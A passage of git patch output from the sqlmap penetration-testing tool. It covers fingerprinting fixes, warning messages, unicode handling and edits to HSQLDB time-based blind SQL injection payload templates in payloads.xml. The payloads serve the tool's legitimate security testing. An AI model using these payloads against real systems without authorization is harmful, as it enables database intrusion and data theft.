\ + or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 1b58fc356..3d082c52a 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -81,7 +81,7 @@ class Fingerprint(GenericFingerprint): """ if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ - or conf.dbms in HSQLDB_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 60a391448..be64c61b5 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -91,7 +91,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 90fffb160..33a7f5de8 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -66,7 +66,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ - or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 6343ada1f..9c87d62c0 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -143,7 +143,7 @@ class Fingerprint(GenericFingerprint): """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ - or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index fd7e4c452..404bbbb6d 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -58,7 +58,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 0ae590382..a9f754df1 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -63,7 +63,7 @@ class Fingerprint(GenericFingerprint): * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(PGSQL_ALIASES) or (conf.dbms or "").lower() in PGSQL_ALIASES): setDbms(DBMS.PGSQL) self.getBanner() diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index dd1b7e56b..41b2db01a 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -64,7 +64,7 @@ class Fingerprint(GenericFingerprint): * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ - if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index 19334526a..b072a3ace 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -59,7 +59,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ - or conf.dbms in SYBASE_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) From 20ff402103ec0af1a29471c3729c4e1d7453cde0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 22:04:55 +0200 Subject: [PATCH 456/889] Minor patch --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b4df11117..d6a403afc 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -106,7 +106,7 @@ def checkSqlInjection(place, parameter, value): msg = "do you want to include all tests for '%s' " % _ msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) - elif kb.extendTests is None: + elif kb.extendTests is None and conf.level < 5 and conf.risk < 3: msg = "do you want to include all tests for '%s' " % conf.dbms msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else ([conf.dbms]) From d5d01e91ad9d3a9b2976bdbac04aeeb557bc1f3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 30 Aug 2014 22:15:14 +0200 Subject: [PATCH 457/889] Warning message --- lib/core/target.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/lib/core/target.py b/lib/core/target.py index 6ed69acba..82570db34 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -115,6 +115,12 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") + if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) + if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): message = "JSON data found in %s data. " % conf.method @@ -210,6 +216,12 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") + if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) + if not kb.processUserMarks: if place == PLACE.URI: query = urlparse.urlsplit(value).query From 25c6fca20ea3838cc7f3039d4d9f976ac73e1709 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 1 Sep 2014 15:48:00 +0200 Subject: [PATCH 458/889] Minor fix --- lib/core/option.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index a9af310d4..6c8c30675 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1501,8 +1501,8 @@ def _cleanupOptions(): conf.dbms = conf.dbms.capitalize() if conf.testFilter: - if not any([char in conf.testFilter for char in ('.', ')', '(', ']', '[')]): - conf.testFilter = conf.testFilter.replace('*', '.*') + conf.testFilter = conf.testFilter.strip('*+') + conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) if "timeSec" not in kb.explicitSettings: if conf.tor: From 7e40890f321ed8a14846fff1da19a3686614d336 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 1 Sep 2014 16:16:12 +0200 Subject: [PATCH 459/889] Patch for an Issue #815 --- lib/core/target.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/target.py b/lib/core/target.py index 82570db34..8f0be26ac 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -556,7 +556,7 @@ def _createTargetDirs(): f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) if conf.data: - f.write("\n\n%s" % conf.data) + f.write("\n\n%s" % getUnicode(conf.data)) except IOError, ex: if "denied" in str(ex): errMsg = "you don't have enough permissions " From 1478c206f1f5ddddf64460e3be52e89e80faf06d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 21:27:02 +0200 Subject: [PATCH 460/889] Trivial update --- xml/payloads.xml | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index c39d71ede..d3bdc7419 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2335,9 +2335,9 @@ Formats: 0 0 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) END + ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) END - ;CALL REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + ;CALL REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) -- @@ -2864,9 +2864,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) @@ -2884,9 +2884,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) -- @@ -3165,9 +3165,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) @@ -3185,9 +3185,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) -- @@ -3544,9 +3544,9 @@ Formats: 2 1,2,3 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -3765,9 +3765,9 @@ Formats: 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) From af21fc513d3fa5736dfbecb618a768c12dad4b2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 21:39:38 +0200 Subject: [PATCH 461/889] Bug fix for HSQLDB (some queries were runnable on MySQL) --- xml/payloads.xml | 56 ++++++++++++++++++++++++------------------------ 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index d3bdc7419..8367359bf 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2314,9 +2314,9 @@ Formats: 0 0 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) END + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END - ;CALL REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) -- @@ -2335,9 +2335,9 @@ Formats: 0 0 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) END + ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END - ;CALL REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -2823,9 +2823,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) @@ -2843,9 +2843,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) -- @@ -2864,9 +2864,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) @@ -2884,9 +2884,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -3124,9 +3124,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) @@ -3144,9 +3144,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) -- @@ -3165,9 +3165,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) @@ -3185,9 +3185,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -3524,9 +3524,9 @@ Formats: 2 1,2,3 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) @@ -3544,9 +3544,9 @@ Formats: 2 1,2,3 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -3744,9 +3744,9 @@ Formats: 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) -- @@ -3765,9 +3765,9 @@ Formats: 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) From 112a0cb1ae19146bb83f23588ea8529be9037eed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 21:49:30 +0200 Subject: [PATCH 462/889] Patch for output directory (using unicode for international support) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 573d28bac..0ac8eee6b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1051,8 +1051,8 @@ def setPaths(): paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")) + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")), system=True) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") From bbf0be1f8d46d799eab24271925ec0946ac6aaef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 22:09:12 +0200 Subject: [PATCH 463/889] Bug fix (Issue #813) --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2bc90c777..021cdb196 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -385,7 +385,7 @@ class Connect(object): conn = urllib2.urlopen(req) - if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType == AUTH_TYPE.BASIC: + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType.lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): From b1467f4c1fb66cc8f14110c59cc75f823e1eff1d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 23:09:10 +0200 Subject: [PATCH 464/889] Minor update --- plugins/dbms/hsqldb/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/hsqldb/fingerprint.py 